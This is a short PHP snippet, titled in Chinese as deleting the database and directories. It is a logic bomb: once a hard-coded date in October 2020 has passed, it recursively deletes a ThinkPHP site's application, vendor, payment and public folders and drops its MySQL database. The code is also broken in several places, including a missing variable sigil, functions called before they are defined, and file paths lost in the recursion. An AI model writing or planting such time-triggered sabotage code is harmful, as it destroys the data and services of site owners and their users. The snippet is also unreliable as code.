删库删目录 ```php $dirdata=[ "./../../../../../public/Web", "./../../../../../public/apk", "./../../../../../public/h5", "./../../../../../thinkphp", "./../../../../../public/js", "./../../../../../public/pay", "./../../../../../vendor", "./../../../../../application", ]; $dbhost = '127.0.0.1'; // mysql服务器主机地址 $dbuser = '数据库用户名'; // mysql用户名 $dbpass = '数据库密码'; // mysql用户名密码 $dbtabase = '数据库名'; // mysql数据库名 $stime=strtotime("2020-10-10:00:01");//判断时间戳 //当当前时间超出制定时间将执行一下操作 if(time()>$stime){ //删除文件 foreach ($dirdata as $value) { deleteDir(value); } //删除数据库 deleteDATABASE($dbhost, $dbuser, $dbpass,$dbtabase); //数据库删除 function deleteDATABASE($dbhost, $dbuser, $dbpass,$dbtabase) { $conn = mysqli_connect($dbhost, $dbuser, $dbpass); if(! $conn ) { die('连接失败: ' . mysqli_error($conn)); } echo '连接成功<br />'; $sql = 'DROP DATABASE '.$dbtabase; $retval = mysqli_query( $conn, $sql ); if(! $retval ) { die('删除数据库失败: ' . mysqli_error($conn)); } echo "数据库 ".$dbtabase." 删除成功\n"; mysqli_close($conn); } //文件删除 function deleteDir($dir) { if (rmdir($dir)==false && is_dir($dir)) { if ($dp = opendir($dir)) { while (($file=readdir($dp)) != false) { if (is_dir($file) && $file!='.' && $file!='..') { deleteDir($file); } else { unlink($file); } } closedir($dp); } else { exit('Not permission'); } } } } ```